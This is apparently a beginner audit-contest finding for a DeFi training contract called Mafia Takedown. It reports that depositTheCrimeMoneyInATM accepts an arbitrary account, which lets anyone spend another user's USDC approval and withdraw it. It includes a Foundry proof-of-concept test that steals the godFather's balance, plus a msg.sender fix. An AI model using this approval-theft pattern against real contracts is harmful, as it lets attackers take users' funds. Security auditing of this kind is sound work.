First Flight #16: Mafia Takedown
First Flight #16
Beginner FriendlyDeFiFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Arbitrary `account` in `Laundrette::depositTheCrimeMoneyInATM` causing anyone can deposit and then withdraw others' money

kazan

Description

In depositTheCrimeMoneyInATM function, the address deposit USDC is account instead of msg.sender. So the one who call this function don't need to be the actual one who spend USDC. They can call depositTheCrimeMoneyInATM with account address is the one who has already deposited money, the to address is their address. The amount of CrimeMoney will mint to their address. Then they call withdrawMoney to take USDC.

Impact

Any gang member who called depositTheCrimeMoneyInATM function could lost all of their money.

Proof of Code

Add the following test to ./test/Laundrette.t.sol

function test_depositAndWithdrawGodFatherMoney_success() public {
address gangsterA = makeAddr("gangsterA");
uint256 balanceToDeposit = usdc.balanceOf(godFather);
vm.prank(godFather);
usdc.approve(address(moneyShelf), balanceToDeposit);
joinGang(gangsterA);
​
vm.startPrank(gangsterA);
laundrette.depositTheCrimeMoneyInATM(godFather, gangsterA, balanceToDeposit);
laundrette.withdrawMoney(gangsterA, gangsterA, balanceToDeposit);
assertEq(usdc.balanceOf(gangsterA), balanceToDeposit);
assertEq(usdc.balanceOf(godFather), 0);
vm.stopPrank();
}

Test pass, even God Father is stolen.

Tools Used

Manual review and Foundry.

Recommendations

Use msg.sender instead of account in depositTheCrimeMoneyInATM

- function depositTheCrimeMoneyInATM(address account, address to, uint256 amount) external {
- moneyShelf.depositUSDC(account, to, amount);
- }
​
+ function depositTheCrimeMoneyInATM(address to, uint256 amount) external {
+ moneyShelf.depositUSDC(msg.sender, to, amount);
+ }
Updates

Lead Judging Commences

n0kto Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
kazan Submitter
about 1 year ago
n0kto Lead Judge
about 1 year ago
n0kto Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Arbitrary account deposit, steal approval

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.